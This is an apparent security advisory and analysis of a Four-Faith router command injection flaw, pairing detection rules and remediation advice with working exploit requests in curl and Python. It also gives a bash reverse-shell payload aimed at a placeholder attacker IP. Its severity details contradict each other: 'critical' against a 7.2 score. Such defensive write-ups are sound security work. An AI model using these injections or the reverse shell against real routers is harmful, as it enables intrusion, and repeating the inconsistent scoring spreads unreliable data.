CVE-2024-12856

Executive Summary

CVE-2024-12856 is a critical OS command injection vulnerability affecting Four-Faith router models F3x24 and F3x36, specifically firmware version 2.0. The flaw resides in the apply.cgi endpoint, where the system time modification functionality fails to sanitize user-supplied input, allowing authenticated attackers to inject arbitrary operating system commands. The presence of default credentials (if unchanged) escalates this to an unauthenticated remote code execution (RCE) scenario. With a CVSS score of 7.2, this vulnerability poses a severe threat to network integrity, confidentiality, and availability. No official patch or advisory has been released by the vendor at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – but default credentials reduce this to None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is elevated due to the combination of low attack complexity, network accessibility, and the potential for unauthenticated exploitation via default credentials. The lack of a vendor patch further increases risk.

Deep Dive & Mechanics

The vulnerability is an OS command injection in the apply.cgi CGI script, which handles system time configuration. The router’s web interface accepts parameters such as time_zone, ntp_server, or a manual time string. These parameters are passed unsanitized to a system shell command (e.g., system() or exec() in C) that sets the system time. An attacker can inject command separators like ;, |, or && to execute arbitrary commands.

Example vulnerable request:

POST /cgi-bin/apply.cgi HTTP/1.1
Host: <router_ip>
Content-Type: application/x-www-form-urlencoded

time_zone=UTC;id&ntp_server=pool.ntp.org

The server executes something akin to:

system("date -s 'UTC;id'")

This results in the id command being executed.

The default credentials (e.g., admin:admin) are hardcoded in firmware version 2.0, allowing any attacker who discovers the router to authenticate and exploit the vulnerability without needing valid credentials.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 2.0):

// apply.cgi snippet
char timezone[64];
snprintf(timezone, sizeof(timezone), "date -s '%s'", get_cgi("time_zone"));
system(timezone);

Patched Code (Hypothetical):

// apply.cgi snippet
char timezone[64];
char *input = get_cgi("time_zone");
if (validate_timezone(input)) {
    snprintf(timezone, sizeof(timezone), "date -s '%s'", sanitize(input));
    system(timezone);
} else {
    // return error
}

The patch would require input validation (e.g., whitelist of allowed timezone strings) and proper escaping or use of safer APIs like execvp with a fixed argument list.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target Four-Faith router (F3x24 or F3x36) with firmware 2.0.
• Network access to the router’s web interface (default port 80).
• Default credentials (admin:admin) or valid credentials.

Exploit Steps:

1. Authenticate to the router’s web interface.
2. Send a crafted POST request to /cgi-bin/apply.cgi with a malicious time_zone parameter.
3. Execute arbitrary commands.

Example using curl:

curl -X POST http://<router_ip>/cgi-bin/apply.cgi \
  -d "time_zone=UTC;id&ntp_server=pool.ntp.org" \
  -u admin:admin

Example using Python:

import requests

url = "http://<router_ip>/cgi-bin/apply.cgi"
data = {"time_zone": "UTC;cat /etc/passwd", "ntp_server": "pool.ntp.org"}
auth = ("admin", "admin")
response = requests.post(url, data=data, auth=auth)
print(response.text)

Reverse Shell Payload:

time_zone=UTC;bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1

Blue Team

Detection:

• Monitor HTTP POST requests to /cgi-bin/apply.cgi containing suspicious characters (;, |, &, `).
• Alert on authentication attempts using default credentials (admin:admin).
• Monitor for outbound connections from the router to unknown IPs on unusual ports.

Honeypot:

• Deploy a fake Four-Faith router web interface that logs all POST data to /cgi-bin/apply.cgi.
• Analyze captured payloads for command injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /cgi-bin/apply.cgi with time_zone parameter containing shell metacharacters.
  • Outbound connections from the router to attacker-controlled IPs on ports 4444, 8080, etc.
  • Unusual DNS queries from the router (e.g., to pool.ntp.org but with suspicious timing).

• Host IOCs:

  • Unauthorized processes running on the router (e.g., bash, nc, python).
  • Modified system files (e.g., /etc/passwd, /etc/shadow).
  • New cron jobs or startup scripts.

• Log IOCs:

  • Repeated failed login attempts followed by successful login with default credentials.
  • Entries in the router’s syslog showing command execution errors.

Detection Engineering

YARA Rule

rule CVE_2024_12856_Command_Injection {
    meta:
        description = "Detects OS command injection attempts against Four-Faith routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12856"
    strings:
        $injection1 = /time_zone=.*[;&|`$]/
        $injection2 = /time_zone=.*\|\|/
        $injection3 = /time_zone=.*&&/
        $cgi_path = "/cgi-bin/apply.cgi"
    condition:
        $cgi_path and any of ($injection*)
}

Sigma Rule

title: CVE-2024-12856 Four-Faith Router Command Injection
id: 4f3a2b1c-8d9e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects HTTP POST requests to apply.cgi with command injection payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: "/cgi-bin/apply.cgi"
        cs-uri-query|contains: 
            - "time_zone=*;"
            - "time_zone=*|"
            - "time_zone=*&"
            - "time_zone=*`"
    condition: selection
falsepositives:
    - Legitimate timezone strings containing special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-12856 Four-Faith Router Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/apply.cgi"; http_uri;
    content:"time_zone="; http_client_body;
    pcre:"/time_zone=[^&]*[;&|`$]/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2024-12856;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Change default credentials immediately to strong, unique passwords.
2. Restrict access to the router’s web interface to trusted IPs only (e.g., via firewall rules).
3. Disable remote management if not required.
4. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply vendor patch when available (currently UNKNOWN).
• If no patch is forthcoming, consider replacing the router with a supported model.
• Implement network segmentation to isolate vulnerable devices.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with rules to block command injection patterns.
• Use an IDS/IPS (e.g., Suricata) with the provided rule.
• Regularly audit router configurations and firmware versions.

Valters IT